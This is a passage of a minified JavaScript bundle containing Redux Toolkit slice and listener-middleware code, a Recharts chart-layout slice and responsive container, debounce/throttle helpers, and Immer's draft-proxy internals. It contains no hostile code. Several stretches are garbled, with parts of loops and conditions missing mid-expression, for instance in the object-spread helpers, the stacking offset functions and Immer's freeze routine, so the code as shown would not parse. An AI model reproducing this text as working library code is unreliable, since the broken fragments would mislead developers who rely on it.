u.sliceMatchers)S.addMatcher(O.matcher,O.reducer);for(let O of N)S.addMatcher(O.matcher,O.reducer);k&&S.addDefaultCase(k)})}const p=j=>j,h=new Map,x=new WeakMap;let g;function y(j,N){return g||(g=f()),g(j,N)}function v(){return g||(g=f()),g.getInitialState()}function b(j,N=!1){function k(S){let O=S[j];return typeof O>"u"&&N&&(O=Hl(x,k,v)),O}function z(S=p){const O=Hl(h,N,()=>new WeakMap);return Hl(O,S,()=>{const A={};for(const[T,P]of Object.entries(i.selectors??{}))A[T]=YO(P,S,()=>Hl(x,S,v),N);return A})}return{reducerPath:j,getSelectors:z,get selectors(){return z(k)},selectSlice:k}}const w={name:s,reducer:y,actions:u.actionCreators,caseReducers:u.sliceCaseReducersByName,getInitialState:v,...b(o),injectInto(j,{reducerPath:N,...k}={}){const z=N??o;return j.inject({reducerPath:z,reducer:y},k),{...w,...b(z,!0)}}};return w}}function YO(e,t,n,r){function i(s,...o){let l=t(s);return typeof l>"u"&&r&&(l=n()),e(l,...o)}return i.unwrapped=e,i}var nn=GO();function qO(){function e(t,n){return{_reducerDefinitionType:"asyncThunk",payloadCreator:t,...n}}return e.withTypes=()=>e,{reducer(t){return Object.assign({[t.name](...n){return t(...n)}}[t.name],{_reducerDefinitionType:"reducer"})},preparedReducer(t,n){return{_reducerDefinitionType:"reducerWithPrepare",prepare:t,reducer:n}},asyncThunk:e}}function XO({type:e,reducerName:t,createNotation:n},r,i){let s,o;if("reducer"in r){if(n&&!QO(r))throw new Error(mn(17));s=r.reducer,o=r.prepare}else s=r;i.addCase(e,s).exposeCaseReducer(t,s).exposeAction(t,o?On(e,o):On(e))}function ZO(e){return e._reducerDefinitionType==="asyncThunk"}function QO(e){return e._reducerDefinitionType==="reducerWithPrepare"}function JO({type:e,reducerName:t},n,r,i){if(!i)throw new Error(mn(18));const{payloadCreator:s,fulfilled:o,pending:l,rejected:c,settled:u,options:d}=n,f=i(e,s,d);r.exposeAction(t,f),o&&r.addCase(f.fulfilled,o),l&&r.addCase(f.pending,l),c&&r.addCase(f.rejected,c),u&&r.addMatcher(f.settled,u),r.exposeCaseReducer(t,{fulfilled:o||Kl,pending:l||Kl,rejected:c||Kl,settled:u||Kl})}function Kl(){}var eT="task",ik="listener",ak="completed",Qx="cancelled",tT=`task-${Qx}`,nT=`task-${ak}`,Xp=`${ik}-${Qx}`,rT=`${ik}-${ak}`,Id=class{constructor(e){Pf(this,"name","TaskAbortError");Pf(this,"message");this.code=e,this.message=`${eT} ${Qx} (reason: ${e})`}},Jx=(e,t)=>{if(typeof e!="function")throw new TypeError(mn(32))},pu=()=>{},sk=(e,t=pu)=>(e.catch(t),e),ok=(e,t)=>(e.addEventListener("abort",t,{once:!0}),()=>e.removeEventListener("abort",t)),Ji=e=>{if(e.aborted)throw new Id(e.reason)};function lk(e,t){let n=pu;return new Promise((r,i)=>{const s=()=>i(new Id(e.reason));if(e.aborted){s();return}n=ok(e,s),t.finally(()=>n()).then(r,i)}).finally(()=>{n=pu})}var iT=async(e,t)=>{try{return await Promise.resolve(),{status:"ok",value:await e()}}catch(n){return{status:n instanceof Id?"cancelled":"rejected",error:n}}finally{t==null||t()}},hu=e=>t=>sk(lk(e,t).then(n=>(Ji(e),n))),ck=e=>{const t=hu(e);return n=>t(new Promise(r=>setTimeout(r,n)))},{assign:Za}=Object,_y={},Dd="listenerMiddleware",aT=(e,t)=>{const n=r=>ok(e,()=>r.abort(e.reason));return(r,i)=>{Jx(r);const s=new AbortController;n(s);const o=iT(async()=>{Ji(e),Ji(s.signal);const l=await r({pause:hu(s.signal),delay:ck(s.signal),signal:s.signal});return Ji(s.signal),l},()=>s.abort(nT));return i!=null&&i.autoJoin&&t.push(o.catch(pu)),{result:hu(e)(o),cancel(){s.abort(tT)}}}},sT=(e,t)=>{const n=async(r,i)=>{Ji(t);let s=()=>{};const l=[new Promise((c,u)=>{let d=e({predicate:r,effect:(f,p)=>{p.unsubscribe(),c([f,p.getState(),p.getOriginalState()])}});s=()=>{d(),u()}})];i!=null&&l.push(new Promise(c=>setTimeout(c,i,null)));try{const c=await lk(t,Promise.race(l));return Ji(t),c}finally{s()}};return(r,i)=>sk(n(r,i))},uk=e=>{let{type:t,actionCreator:n,matcher:r,predicate:i,effect:s}=e;if(t)i=On(t).match;else if(n)t=n.type,i=n.match;else if(r)i=r;else if(!i)throw new Error(mn(21));return Jx(s),{predicate:i,type:t,effect:s}},dk=Za(e=>{const{type:t,predicate:n,effect:r}=uk(e);return{id:VO(),effect:r,type:t,predicate:n,pending:new Set,unsubscribe:()=>{throw new Error(mn(22))}}},{withTypes:()=>dk}),Ay=(e,t)=>{const{type:n,effect:r,predicate:i}=uk(t);return Array.from(e.values()).find(s=>(typeof n=="string"?s.type===n:s.predicate===i)&&s.effect===r)},Zp=e=>{e.pending.forEach(t=>{t.abort(Xp)})},oT=(e,t)=>()=>{for(const n of t.keys())Zp(n);e.clear()},Oy=(e,t,n)=>{try{e(t,n)}catch(r){setTimeout(()=>{throw r},0)}},fk=Za(On(`${Dd}/add`),{withTypes:()=>fk}),lT=On(`${Dd}/removeAll`),mk=Za(On(`${Dd}/remove`),{withTypes:()=>mk}),cT=(...e)=>{console.error(`${Dd}/error`,...e)},ll=(e={})=>{const t=new Map,n=new Map,r=h=>{const x=n.get(h)??0;n.set(h,x+1)},i=h=>{const x=n.get(h)??1;x===1?n.delete(h):n.set(h,x-1)},{extra:s,onError:o=cT}=e;Jx(o);const l=h=>(h.unsubscribe=()=>t.delete(h.id),t.set(h.id,h),x=>{h.unsubscribe(),x!=null&&x.cancelActive&&Zp(h)}),c=h=>{const x=Ay(t,h)??dk(h);return l(x)};Za(c,{withTypes:()=>c});const u=h=>{const x=Ay(t,h);return x&&(x.unsubscribe(),h.cancelActive&&Zp(x)),!!x};Za(u,{withTypes:()=>u});const d=async(h,x,g,y)=>{const v=new AbortController,b=sT(c,v.signal),w=[];try{h.pending.add(v),r(h),await Promise.resolve(h.effect(x,Za({},g,{getOriginalState:y,condition:(j,N)=>b(j,N).then(Boolean),take:b,delay:ck(v.signal),pause:hu(v.signal),extra:s,signal:v.signal,fork:aT(v.signal,w),unsubscribe:h.unsubscribe,subscribe:()=>{t.set(h.id,h)},cancelActiveListeners:()=>{h.pending.forEach((j,N,k)=>{j!==v&&(j.abort(Xp),k.delete(j))})},cancel:()=>{v.abort(Xp),h.pending.delete(v)},throwIfCancelled:()=>{Ji(v.signal)}})))}catch(j){j instanceof Id||Oy(o,j,{raisedBy:"effect"})}finally{await Promise.all(w),v.abort(rT),i(h),h.pending.delete(v)}},f=oT(t,n);return{middleware:h=>x=>g=>{if(!WN(g))return x(g);if(fk.match(g))return c(g.payload);if(lT.match(g)){f();return}if(mk.match(g))return u(g.payload);let y=h.getState();const v=()=>{if(y===_y)throw new Error(mn(23));return y};let b;try{if(b=x(g),t.size>0){const w=h.getState(),j=Array.from(t.values());for(const N of j){let k=!1;try{k=N.predicate(g,w,y)}catch(z){k=!1,Oy(o,z,{raisedBy:"predicate"})}k&&d(N,g,h,v)}}}finally{y=_y}return b},startListening:c,stopListening:u,clearListeners:f}};function mn(e){return`Minified Redux Toolkit error #${e}; visit https://redux-toolkit.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var uT={layoutType:"horizontal",width:0,height:0,margin:{top:5,right:5,bottom:5,left:5},scale:1},pk=nn({name:"chartLayout",initialState:uT,reducers:{setLayout(e,t){e.layoutType=t.payload},setChartSize(e,t){e.width=t.payload.width,e.height=t.payload.height},setMargin(e,t){var n,r,i,s;e.margin.top=(n=t.payload.top)!==null&&n!==void 0?n:0,e.margin.right=(r=t.payload.right)!==null&&r!==void 0?r:0,e.margin.bottom=(i=t.payload.bottom)!==null&&i!==void 0?i:0,e.margin.left=(s=t.payload.left)!==null&&s!==void 0?s:0},setScale(e,t){e.scale=t.payload}}}),{setMargin:dT,setLayout:fT,setChartSize:mT,setScale:pT}=pk.actions,hT=pk.reducer;function hk(e,t,n){return Array.isArray(e)&&e&&t+n!==0?e.slice(t,n+1):e}function Ee(e){return Number.isFinite(e)}function Si(e){return typeof e=="number"&&e>0&&Number.isFinite(e)}function Ty(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Wa(e){for(var t=1;t{if(t&&n){var{width:r,height:i}=n,{align:s,verticalAlign:o,layout:l}=t;if((l==="vertical"||l==="horizontal"&&o==="middle")&&s!=="center"&&ge(e[s]))return Wa(Wa({},e),{},{[s]:e[s]+(r||0)});if((l==="horizontal"||l==="vertical"&&s==="center")&&o!=="middle"&&ge(e[o]))return Wa(Wa({},e),{},{[o]:e[o]+(i||0)})}return e},vr=(e,t)=>e==="horizontal"&&t==="xAxis"||e==="vertical"&&t==="yAxis"||e==="centric"&&t==="angleAxis"||e==="radial"&&t==="radiusAxis",bT=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(u[0]=s,s+=p,u[1]=s):(u[0]=o,o+=p,u[1]=o)}}}},wT=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(c[0]=s,s+=u,c[1]=s):(c[0]=0,c[1]=0)}}}},jT={sign:bT,expand:uA,none:ua,silhouette:dA,wiggle:fA,positive:wT},NT=(e,t,n)=>{var r,i=(r=jT[n])!==null&&r!==void 0?r:ua,s=cA().keys(t).value((l,c)=>Number(Ve(l,c,0))).order(Bp).offset(i),o=s(e);return o.forEach((l,c)=>{l.forEach((u,d)=>{var f=Ve(e[d],t[c],0);Array.isArray(f)&&f.length===2&&ge(f[0])&&ge(f[1])&&(u[0]=f[0],u[1]=f[1])})}),o};function kT(e){return e==null?void 0:String(e)}function My(e){var{axis:t,ticks:n,bandSize:r,entry:i,index:s,dataKey:o}=e;if(t.type==="category"){if(!t.allowDuplicatedCategory&&t.dataKey&&!Mt(i[t.dataKey])){var l=oN(n,"value",i[t.dataKey]);if(l)return l.coordinate+r/2}return n!=null&&n[s]?n[s].coordinate+r/2:null}var c=Ve(i,Mt(o)?t.dataKey:o),u=t.scale.map(c);return ge(u)?u:null}var zT=e=>{var t=e.flat(2).filter(ge);return[Math.min(...t),Math.max(...t)]},ST=e=>[e[0]===1/0?0:e[0],e[1]===-1/0?0:e[1]],CT=(e,t,n)=>{if(e!=null)return ST(Object.keys(e).reduce((r,i)=>{var s=e[i];if(!s)return r;var{stackedData:o}=s,l=o.reduce((c,u)=>{var d=hk(u,t,n),f=zT(d);return!Ee(f[0])||!Ee(f[1])?c:[Math.min(c[0],f[0]),Math.max(c[1],f[1])]},[1/0,-1/0]);return[Math.min(l[0],r[0]),Math.max(l[1],r[1])]},[1/0,-1/0]))},Ly=/^dataMin[\s]*-[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,Iy=/^dataMax[\s]*\+[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,xu=(e,t,n)=>{if(e&&e.scale&&e.scale.bandwidth){var r=e.scale.bandwidth();if(!n||r>0)return r}if(e&&t&&t.length>=2){for(var i=Pd(t,d=>d.coordinate),s=1/0,o=1,l=i.length;o{if(t==="horizontal")return e.chartX;if(t==="vertical")return e.chartY},ET=(e,t)=>t==="centric"?e.angle:e.radius,Hr=e=>e.layout.width,Kr=e=>e.layout.height,_T=e=>e.layout.scale,xk=e=>e.layout.margin,$d=I(e=>e.cartesianAxis.xAxis,e=>Object.values(e)),Bd=I(e=>e.cartesianAxis.yAxis,e=>Object.values(e)),vk="data-recharts-item-index",gk="data-recharts-item-id",cl=60;function Ry(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Gl(e){for(var t=1;te.brush.height;function LT(e){var t=Bd(e);return t.reduce((n,r)=>{if(r.orientation==="left"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:cl;return n+i}return n},0)}function IT(e){var t=Bd(e);return t.reduce((n,r)=>{if(r.orientation==="right"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:cl;return n+i}return n},0)}function DT(e){var t=$d(e);return t.reduce((n,r)=>r.orientation==="top"&&!r.mirror&&!r.hide?n+r.height:n,0)}function RT(e){var t=$d(e);return t.reduce((n,r)=>r.orientation==="bottom"&&!r.mirror&&!r.hide?n+r.height:n,0)}var kt=I([Hr,Kr,xk,MT,LT,IT,DT,RT,$N,mO],(e,t,n,r,i,s,o,l,c,u)=>{var d={left:(n.left||0)+i,right:(n.right||0)+s},f={top:(n.top||0)+o,bottom:(n.bottom||0)+l},p=Gl(Gl({},f),d),h=p.bottom;p.bottom+=r,p=yT(p,c,u);var x=e-p.left-p.right,g=t-p.top-p.bottom;return Gl(Gl({brushBottom:h},p),{},{width:Math.max(x,0),height:Math.max(g,0)})}),$T=I(kt,e=>({x:e.left,y:e.top,width:e.width,height:e.height}));I(Hr,Kr,(e,t)=>({x:0,y:0,width:e,height:t}));var BT=m.createContext(null),Jn=()=>m.useContext(BT)!=null,Fd=e=>e.brush,Wd=I([Fd,kt,xk],(e,t,n)=>({height:e.height,x:ge(e.x)?e.x:t.left,y:ge(e.y)?e.y:t.top+t.height+t.brushBottom-((n==null?void 0:n.bottom)||0),width:ge(e.width)?e.width:t.width})),yk={},bk={},wk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r,{signal:i,edges:s}={}){let o,l=null;const c=s!=null&&s.includes("leading"),u=s==null||s.includes("trailing"),d=()=>{l!==null&&(n.apply(o,l),o=void 0,l=null)},f=()=>{u&&d(),g()};let p=null;const h=()=>{p!=null&&clearTimeout(p),p=setTimeout(()=>{p=null,f()},r)},x=()=>{p!==null&&(clearTimeout(p),p=null)},g=()=>{x(),o=void 0,l=null},y=()=>{d()},v=function(...b){if(i!=null&&i.aborted)return;o=this,l=b;const w=p==null;h(),c&&w&&d()};return v.schedule=h,v.cancel=g,v.flush=y,i==null||i.addEventListener("abort",g,{once:!0}),v}e.debounce=t})(wk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=wk;function n(r,i=0,s={}){typeof s!="object"&&(s={});const{leading:o=!1,trailing:l=!0,maxWait:c}=s,u=Array(2);o&&(u[0]="leading"),l&&(u[1]="trailing");let d,f=null;const p=t.debounce(function(...g){d=r.apply(this,g),f=null},i,{edges:u}),h=function(...g){return c!=null&&(f===null&&(f=Date.now()),Date.now()-f>=c)?(d=r.apply(this,g),f=Date.now(),p.cancel(),p.schedule(),d):(p.apply(this,g),d)},x=()=>(p.flush(),d);return h.cancel=p.cancel,h.flush=x,h}e.debounce=n})(bk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=bk;function n(r,i=0,s={}){const{leading:o=!0,trailing:l=!0}=s;return t.debounce(r,i,{leading:o,maxWait:i,trailing:l})}e.throttle=n})(yk);var FT=yk.throttle;const WT=Wr(FT);var $y=function(t,n){for(var r=arguments.length,i=new Array(r>2?r-2:0),s=2;si[o++]))}},lr={width:"100%",height:"100%",debounce:0,minWidth:0,initialDimension:{width:-1,height:-1}},jk=(e,t,n)=>{var{width:r=lr.width,height:i=lr.height,aspect:s,maxHeight:o}=n,l=da(r)?e:Number(r),c=da(i)?t:Number(i);return s&&s>0&&(l?c=l/s:c&&(l=c*s),o&&c!=null&&c>o&&(c=o)),{calculatedWidth:l,calculatedHeight:c}},UT={width:0,height:0,overflow:"visible"},VT={width:0,overflowX:"visible"},HT={height:0,overflowY:"visible"},KT={},GT=e=>{var{width:t,height:n}=e,r=da(t),i=da(n);return r&&i?UT:r?VT:i?HT:KT};function YT(e){var{width:t,height:n,aspect:r}=e,i=t,s=n;return i===void 0&&s===void 0?(i=lr.width,s=lr.height):i===void 0?i=r&&r>0?void 0:lr.width:s===void 0&&(s=r&&r>0?void 0:lr.height),{width:i,height:s}}function Qp(){return Qp=Object.assign?Object.assign.bind():function(e){for(var t=1;t({width:n,height:r}),[n,r]);return QT(i)?m.createElement(Nk.Provider,{value:i},t):null}var e0=()=>m.useContext(Nk),JT=m.forwardRef((e,t)=>{var{aspect:n,initialDimension:r=lr.initialDimension,width:i,height:s,minWidth:o=lr.minWidth,minHeight:l,maxHeight:c,children:u,debounce:d=lr.debounce,id:f,className:p,onResize:h,style:x={}}=e,g=m.useRef(null),y=m.useRef();y.current=h,m.useImperativeHandle(t,()=>g.current);var[v,b]=m.useState({containerWidth:r.width,containerHeight:r.height}),w=m.useCallback((S,O)=>{b(A=>{var T=Math.round(S),P=Math.round(O);return A.containerWidth===T&&A.containerHeight===P?A:{containerWidth:T,containerHeight:P}})},[]);m.useEffect(()=>{if(g.current==null||typeof ResizeObserver>"u")return bs;var S=P=>{var D,G=P[0];if(G!=null){var{width:R,height:K}=G.contentRect;w(R,K),(D=y.current)===null||D===void 0||D.call(y,R,K)}};d>0&&(S=WT(S,d,{trailing:!0,leading:!1}));var O=new ResizeObserver(S),{width:A,height:T}=g.current.getBoundingClientRect();return w(A,T),O.observe(g.current),()=>{O.disconnect()}},[w,d]);var{containerWidth:j,containerHeight:N}=v;$y(!n||n>0,"The aspect(%s) must be greater than zero.",n);var{calculatedWidth:k,calculatedHeight:z}=jk(j,N,{width:i,height:s,aspect:n,maxHeight:c});return $y(k!=null&&k>0||z!=null&&z>0,`The width(%s) and height(%s) of chart should be greater than 0, + please check the style of container, or the props width(%s) and height(%s), + or add a minWidth(%s) or minHeight(%s) or use aspect(%s) to control the + height and width.`,k,z,i,s,o,l,n),m.createElement("div",{id:f?"".concat(f):void 0,className:Qe("recharts-responsive-container",p),style:Fy(Fy({},x),{},{width:i,height:s,minWidth:o,minHeight:l,maxHeight:c}),ref:g},m.createElement("div",{style:GT({width:i,height:s})},m.createElement(kk,{width:k,height:z},u)))}),Wy=m.forwardRef((e,t)=>{var n=e0();if(Si(n.width)&&Si(n.height))return e.children;var{width:r,height:i}=YT({width:e.width,height:e.height,aspect:e.aspect}),{calculatedWidth:s,calculatedHeight:o}=jk(void 0,void 0,{width:r,height:i,aspect:e.aspect,maxHeight:e.maxHeight});return ge(s)&&ge(o)?m.createElement(kk,{width:s,height:o},e.children):m.createElement(JT,Qp({},e,{width:r,height:i,ref:t}))});function t0(e){if(e)return{x:e.x,y:e.y,upperWidth:"upperWidth"in e?e.upperWidth:e.width,lowerWidth:"lowerWidth"in e?e.lowerWidth:e.width,width:e.width,height:e.height}}var Ud=()=>{var e,t=Jn(),n=je($T),r=je(Wd),i=(e=je(Fd))===null||e===void 0?void 0:e.padding;return!t||!r||!i?n:{width:r.width-i.left-i.right,height:r.height-i.top-i.bottom,x:i.left,y:i.top}},eM={top:0,bottom:0,left:0,right:0,width:0,height:0,brushBottom:0},tM=()=>{var e;return(e=je(kt))!==null&&e!==void 0?e:eM},nM=()=>je(Hr),rM=()=>je(Kr),De=e=>e.layout.layoutType,ws=()=>je(De),iM=()=>{var e=ws();if(e==="horizontal"||e==="vertical")return e},zk=e=>{var t=e.layout.layoutType;if(t==="centric"||t==="radial")return t},aM=()=>{var e=ws();return e!==void 0},ul=e=>{var t=ot(),n=Jn(),{width:r,height:i}=e,s=e0(),o=r,l=i;return s&&(o=s.width>0?s.width:r,l=s.height>0?s.height:i),m.useEffect(()=>{!n&&Si(o)&&Si(l)&&t(mT({width:o,height:l}))},[t,n,o,l]),null},Sk=Symbol.for("immer-nothing"),Uy=Symbol.for("immer-draftable"),hn=Symbol.for("immer-state");function Vn(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var Uo=Object.getPrototypeOf;function us(e){return!!e&&!!e[hn]}function ma(e){var t;return e?Ck(e)||Array.isArray(e)||!!e[Uy]||!!((t=e.constructor)!=null&&t[Uy])||dl(e)||Hd(e):!1}var sM=Object.prototype.constructor.toString(),Vy=new WeakMap;function Ck(e){if(!e||typeof e!="object")return!1;const t=Object.getPrototypeOf(e);if(t===null||t===Object.prototype)return!0;const n=Object.hasOwnProperty.call(t,"constructor")&&t.constructor;if(n===Object)return!0;if(typeof n!="function")return!1;let r=Vy.get(n);return r===void 0&&(r=Function.toString.call(n),Vy.set(n,r)),r===sM}function vu(e,t,n=!0){Vd(e)===0?(n?Reflect.ownKeys(e):Object.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function Vd(e){const t=e[hn];return t?t.type_:Array.isArray(e)?1:dl(e)?2:Hd(e)?3:0}function Jp(e,t){return Vd(e)===2?e.has(t):Object.prototype.hasOwnProperty.call(e,t)}function Pk(e,t,n){const r=Vd(e);r===2?e.set(t,n):r===3?e.add(n):e[t]=n}function oM(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}function dl(e){return e instanceof Map}function Hd(e){return e instanceof Set}function Wi(e){return e.copy_||e.base_}function eh(e,t){if(dl(e))return new Map(e);if(Hd(e))return new Set(e);if(Array.isArray(e))return Array.prototype.slice.call(e);const n=Ck(e);if(t===!0||t==="class_only"&&!n){const r=Object.getOwnPropertyDescriptors(e);delete r[hn];let i=Reflect.ownKeys(r);for(let s=0;s1&&Object.defineProperties(e,{set:Yl,add:Yl,clear:Yl,delete:Yl}),Object.freeze(e),t&&Object.values(e).forEach(n=>n0(n,!0))),e}function lM(){Vn(2)}var Yl={value:lM};function Kd(e){return e===null||typeof e!="object"?!0:Object.isFrozen(e)}var cM={};function pa(e){const t=cM[e];return t||Vn(0,e),t}var Vo;function Ek(){return Vo}function uM(e,t){return{drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0}}function Hy(e,t){t&&(pa("Patches"),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function th(e){nh(e),e.drafts_.forEach(dM),e.drafts_=null}function nh(e){e===Vo&&(Vo=e.parent_)}function Ky(e){return Vo=uM(Vo,e)}function dM(e){const t=e[hn];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function Gy(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];return e!==void 0&&e!==n?(n[hn].modified_&&(th(t),Vn(4)),ma(e)&&(e=gu(t,e),t.parent_||yu(t,e)),t.patches_&&pa("Patches").generateReplacementPatches_(n[hn].base_,e,t.patches_,t.inversePatches_)):e=gu(t,n,[]),th(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==Sk?e:void 0}function gu(e,t,n){if(Kd(t))return t;const r=e.immer_.shouldUseStrictIteration(),i=t[hn];if(!i)return vu(t,(s,o)=>Yy(e,i,t,s,o,n),r),t;if(i.scope_!==e)return t;if(!i.modified_)return yu(e,i.base_,!0),i.base_;if(!i.finalized_){i.finalized_=!0,i.scope_.unfinalizedDrafts_--;const s=i.copy_;let o=s,l=!1;i.type_===3&&(o=new Set(s),s.clear(),l=!0),vu(o,(c,u)=>Yy(e,i,s,c,u,n,l),r),yu(e,s,!1),n&&e.patches_&&pa("Patches").generatePatches_(i,n,e.patches_,e.inversePatches_)}return i.copy_}function Yy(e,t,n,r,i,s,o){if(i==null||typeof i!="object"&&!o)return;const l=Kd(i);if(!(l&&!o)){if(us(i)){const c=s&&t&&t.type_!==3&&!Jp(t.assigned_,r)?s.concat(r):void 0,u=gu(e,i,c);if(Pk(n,r,u),us(u))e.canAutoFreeze_=!1;else return}else o&&n.add(i);if(ma(i)&&!l){if(!e.immer_.autoFreeze_&&e.unfinalizedDrafts_<1||t&&t.base_&&t.base_[r]===i&&l)return;gu(e,i),(!t||!t.scope_.parent_)&&typeof r!="symbol"&&(dl(n)?n.has(r):Object.prototype.propertyIsEnumerable.call(n,r))&&yu(e,i)}}}function yu(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&n0(t,n)}function fM(e,t){const n=Array.isArray(e),r={type_:n?1:0,scope_:t?t.scope_:Ek(),modified_:!1,finalized_:!1,assigned_:{},parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1};let i=r,s=r0;n&&(i=[r],s=Ho);const{revoke:o,proxy:l}=Proxy.revocable(i,s);return r.draft_=l,r.revoke_=o,l}var r0={get(e,t){if(t===hn)return e;const n=Wi(e);if(!Jp(n,t))return mM(e,n,t);const r=n[t];return e.finalized_||!ma(r)?r:r===fm(e.base_,t)?(mm(e),e.copy_[t]=ih(r,e)):r},has(e,t){return t in Wi(e)},ownKeys(e){return Reflect.ownKeys(Wi(e))},set(e,t,n){const r=_k(Wi(e),t);if(r!=null&&r.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=fm(Wi(e),t),s=i==null?void 0:i[hn];if(s&&s.base_===n)return e.copy_[t]=n,e.assigned_[t]=!1,!0;if(oM(n,i)&&(n!==void 0||Jp(e.base_,t)))return!0;mm(e),rh(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_[t]=!0),!0},deleteProperty(e,t){return fm(e.base_,t)!==void 0||t in e.base_?(e.assigned_[t]=!1,mm(e),rh(e)):delete e.assigned_[t],e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=Wi(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{writable:!0,configurable:e.type_!==1||t!=="length",enumerable:r.enumerable,value:n[t]}},defineProperty(){Vn(11)},getPrototypeOf(e){return Uo(e.base_)},setPrototypeOf(){Vn(12)}},Ho={};vu(r0,(e,t)=>{Ho[e]=function(){return arguments[0]=arguments[0][0],t.apply(this,arguments)}});Ho.deleteProperty=function(e,t){return Ho.set.call(this,e,t,void 0)};Ho.set=function(e,t,n){return r0.set.call(this,e[0],t,n,e[0])};function fm(e,t){const n=e[hn];return(n?Wi(n):e)[t]}function mM(e,t,n){var i;const r=_k(t,n);return r?"value"in r?r.value:(i=r.get)==null?void 0:i.call(e.draft_):void 0}function _k(e,t){if(!(t in e))return;let n=Uo(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=Uo(n)}}function rh(e){e.modified_||(e.modified_=!0,e.parent_&&rh(e.parent_))}function mm(e){e.copy_||(e.copy_=eh(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var pM=class{constructor(e){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!0,this.produce=(t,n,r)=>{if(typeof t=="function"&&typeof n!="function"){const s=n;n=t;const o=this;return function(c=s,...u){return o.produce(c,d=>n.call(this,d,...u))}}typeof n!="function"&&Vn(6),r!==void 0&&typeof r!="function"&&Vn(7);let i;if(ma(t)){const s=Ky(this),o=ih(t,void 0);let l=!0;try{i=n(o),l=!1}finally{l?th(s):nh(s)}return Hy(s,r),Gy(i,s)}else if(!t||typeof t!="object"){if(i=n(t),i===void 0&&(i=t),i===Sk&&(i=void 0),this.autoFreeze_&&n0(i,!0),r){const s=[],o=[];pa("Patches").generateReplacementPatches_(t,i,s,o),r(s,o)}return i}else Vn(1,t)},this.produceWithPatches=(t,n)=>{if(typeof t=="function")return(o,...l)=>this.produceWithPatches(o,c=>t(c,...l));let r,i;return[this.produce(t,n,(o,l)=>{r=o,i=l}),r,i]},typeof(e==null?void 0:e.autoFreeze)=="boolean"&&this.setAutoFreeze(e.autoFreeze),typeof(e==null?void 0:e.useStrictShallowCopy)=="boolean"&&this.setUseStrictShallowCopy(e.useStrictShallowCopy),typeof(e==null?void 0:e.useStrictIteration)=="boolean"&&this.setUseStrictIteration(e.useStrictIteration)}createDraft(e){ma(e)||Vn(8),us(e)&&(e=hM(e));const t=Ky(this),n=ih(e,void 0);return n[hn].isManual_=!0,nh(t),n}finishDraft(e,t){const n=e&&e[hn];(!n||!n.isManual_)&&Vn(9);const{scope_:r}=n;return Hy(r,t),Gy(void 0,r)}setAutoFreeze(e){this.autoFreeze_=e}setUseStrictShallowCopy(e){this.useStrictShallowCopy_=e}setUseStrictIteration(e){this.useStrictIteration_=e}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(e,t){let n;for(n=t.length-1;n>=0;n--){const i=t[n];if(i.path.length===0&&i.op==="replace"){e=i.value;break}}n>-1&&(t=t.slice(n+1));const r=pa("Patches").applyPatches_;return us(e)?r(e,t):this.produce(e,i=>r(i,t))}};function ih(e,t){const n=dl(e)?pa("MapSet").proxyMap_(e,t):Hd(e)?pa("MapSet").proxySet_(e,t):fM(e,t);return(t?t.scope_:Ek()).drafts_.push(n),n}function hM(e){return us(e)||Vn(10,e),Ak(e)}function Ak(e){if(!ma(e)||Kd(e))return e;const t=e[hn];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=eh(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=eh(e,!0);return vu(n,(i,s)=>{Pk(n,i,Ak(s))},r),t&&(t.finalized_=!1),n}var xM=new pM;xM.produce;var 